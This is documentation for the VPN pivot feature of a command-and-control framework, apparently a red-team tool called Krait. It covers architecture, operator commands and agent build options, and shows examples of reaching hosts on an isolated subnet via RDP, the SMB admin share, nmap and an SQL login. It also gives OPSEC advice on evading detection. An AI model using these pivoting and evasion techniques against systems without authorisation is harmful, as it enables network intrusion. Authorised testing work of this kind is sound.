← Documentation / Infrastructure

VPN Tunnel

Full Layer 3 VPN pivot through an agent — route TCP and UDP traffic into isolated networks

Krait’s VPN tunnel gives you a Layer 3 pivot through any agent. Once started, the operator gets a kraittun0 network interface with routes into the target network. Any tool that speaks TCP or UDP — nmap, curl, impacket, RDP clients, SQL clients — works transparently through the tunnel without proxy configuration.

Architecture

The VPN tunnel uses a split architecture: the operator side handles IP-level networking, and the agent side handles socket-level connections. No raw IP packets cross the C2 channel.

                     Operator                                      Agent
┌─────────────────────────────────┐                    ┌─────────────────────────┐
│  kraittun0 (TUN interface)      │                    │                         │
│       ↕                         │                    │                         │
│  krait-tun (gVisor netstack)    │                    │                         │
│       ↕ unix socket             │    C2 channel      │    vpn_handler.c        │
│  krait-server (vpn.py relay)    │ ←──────────────→   │    connect() + relay    │
│                                 │  VPN_START/DATA/   │                         │
│                                 │  STOP tasks        │                         │
└─────────────────────────────────┘                    └─────────────────────────┘

krait-tun is a Go static binary (~7.1 MB) that runs as a sidecar alongside the server. It creates a TUN interface and runs a gVisor userspace TCP/IP stack. When traffic arrives on the TUN interface, gVisor terminates the TCP or UDP connection and sends a CONNECT message to the agent through the C2 channel. The agent opens a real socket to the destination and relays bytes back.

This design means:

  • TCP works correctly — SYN/SYN-ACK/FIN are handled by gVisor, so tools like nmap see open/closed ports accurately
  • UDP works — DNS, SNMP, and other UDP protocols work through the tunnel
  • No raw IP on the wire — the C2 channel carries connect/data/close messages, not IP packets, keeping task payloads small
  • Agent code is simple — vpn_handler.c does plain connect() and send()/recv(), no IP header parsing

Prerequisites

Operator Side

  1. krait-tun binary — ships alongside krait-server in the release. Both binaries must be in the same directory.

  2. CAP_NET_ADMIN — the sidecar creates a TUN interface, which requires elevated privileges:

sudo setcap cap_net_admin+ep ./krait-tun
sudo setcap cap_net_admin+ep ./krait-server

Agent Side

The agent must be built with VPN support enabled. VPN is included in all template builds by default.

Build (CLI):

krait> build windows -s <IP> -p 8443 --vpn

Build (Web UI): Navigate to Build → select Windows → enable the VPN toggle → build.

Commands

All VPN commands are issued from the operator console while locked to an agent session.

vpn start

Start a VPN tunnel through the current agent.

krait [agent_id]> vpn start [options] [subnets...]

Options:

FlagDefaultDescription
--ip <addr>10.10.0.1Tunnel IP address on the operator side
--mtu <size>1400Tunnel MTU (lower for high-latency transports)
--subnet <cidr>—Target subnet to route through the tunnel (repeatable)

Subnets can also be passed as positional arguments:

krait [abc12345]> vpn start 172.31.128.0/24 10.0.0.0/8
krait [abc12345]> vpn start --ip 10.10.0.1 --subnet 172.31.128.0/24 --subnet 10.0.0.0/8

On start, the server:

  1. Launches krait-tun as a sidecar process
  2. Configures kraittun0 with the tunnel IP and MTU
  3. Sends a VPN_START task to the agent
  4. Adds a host route for the agent’s real IP to prevent routing loops
  5. Adds routes for each specified subnet via kraittun0

vpn stop

Tear down the VPN tunnel.

krait [abc12345]> vpn stop

Closes all active connections, removes routes, deletes the TUN interface, and kills the sidecar.

vpn status

Show current tunnel state.

krait [abc12345]> vpn status

Output:

[+] VPN tunnel active via abc12345 (WORKSTATION1)
    Interface: kraittun0
    Tunnel IP: 10.10.0.1
    MTU: 1400
    Uptime: 0h 15m 32s
    Traffic: in:15,999 out:11,543
    Routes:
      172.31.128.0/24

vpn route

Add or remove routes while the tunnel is running.

krait [abc12345]> vpn route add 10.0.0.0/8
krait [abc12345]> vpn route del 10.0.0.0/8

Examples

Pivot to an Isolated Subnet

Deploy an agent on a dual-homed host that can reach both the C2 server and an isolated network:

krait [abc12345]> vpn start 172.31.128.0/24
[+] VPN tunnel started on kraittun0 (10.10.0.1)
    Route: 172.31.128.0/24

Now from the operator machine, reach hosts on the isolated subnet directly:

# RDP to a host on the isolated network
xfreerdp /v:172.31.128.134 /u:Administrator /cert:ignore

# SMB file access
smbclient //172.31.128.134/C$ -U Administrator

# Port scan
nmap -sT -Pn 172.31.128.0/24

# SQL client
mssqlclient.py sa:Password1@172.31.128.50

Multiple Subnets

Route traffic to multiple networks through one agent:

krait [abc12345]> vpn start 10.0.0.0/8 192.168.0.0/16

Or add routes after the tunnel is up:

krait [abc12345]> vpn start 10.0.0.0/8
krait [abc12345]> vpn route add 192.168.0.0/16

Custom Tunnel IP

If 10.10.0.0/24 conflicts with the target environment:

krait [abc12345]> vpn start --ip 10.99.0.1 172.31.128.0/24

Fast Polling

When the VPN tunnel is active, the agent automatically switches to fast polling (100ms interval) for low-latency data relay. This is the same behavior as SOCKS proxy and reverse port forwarding — any active tunneling channel triggers fast polling. The agent returns to its normal beacon interval when all tunneling channels close.

OPSEC Considerations

  • No new processes on the target. The VPN handler runs inside the existing agent process — no child processes, no additional binaries on disk.
  • Traffic volume. A VPN tunnel can generate significant C2 traffic. Monitor vpn status byte counters and consider the transport’s capacity. DNS and DOH transports are not recommended for VPN tunneling due to bandwidth constraints.
  • Agent polling visibility. Fast polling (100ms) increases the agent’s callback frequency. On a high-latency or heavily monitored transport, this pattern may be detectable. Use HTTPS with a traffic profile for VPN operations.
  • Single tunnel. Only one VPN tunnel can be active at a time (across all agents). Stop the current tunnel before starting a new one on a different agent.
  • Agent host route. The server automatically adds a /32 host route for the agent’s real IP to prevent the agent’s C2 traffic from being captured by the VPN routes. This route is removed on tunnel stop.

Limitations

  • IPv4 only. The gVisor netstack is configured for IPv4. IPv6 traffic is not routed.
  • No ICMP. gVisor does not forward ICMP, so ping does not work through the tunnel. Use TCP-based probes (nmap -sT -Pn) instead.
  • Single agent. One VPN tunnel at a time, bound to one agent. There is no multi-agent mesh or tunnel chaining (use SOCKS chaining for multi-hop scenarios).
  • 128 concurrent connections. The agent maintains up to 128 simultaneous socket connections through the tunnel (VPN_MAX_CONNECTIONS).
  • 4 KB per read. Each socket read on the agent side is buffered at 4096 bytes before batching into a VPN_DATA response. Large transfers work but are chunked.

VPN vs SOCKS vs Reverse Port Forward

FeatureVPN TunnelSOCKS ProxyReverse Port Forward
Protocol supportTCP + UDPTCP onlyTCP only (single port)
Tool compatibilityAny tool, no configRequires proxychains or SOCKS-aware toolsAny tool, no config
RoutingSubnet-level via TUN interfacePer-connection via SOCKSSingle host:port mapping
Port scanningnmap -sT works correctlynmap through proxychainsN/A
Setup complexityRequires krait-tun + CAP_NET_ADMINNoneNone
Best forFull network access to isolated subnetsAd-hoc tool proxying, multi-hop chainsSingle-service access (RDP, SQL)

When to use VPN: You need full network access to a subnet — port scanning, multiple services, UDP protocols, or tools that don’t support SOCKS.

When to use SOCKS: Quick single-tool proxying, or multi-hop chaining through P2P agents where the VPN’s TUN interface isn’t needed.

When to use reverse port forward: You only need access to one specific service (e.g., RDP on one host) and want the simplest setup.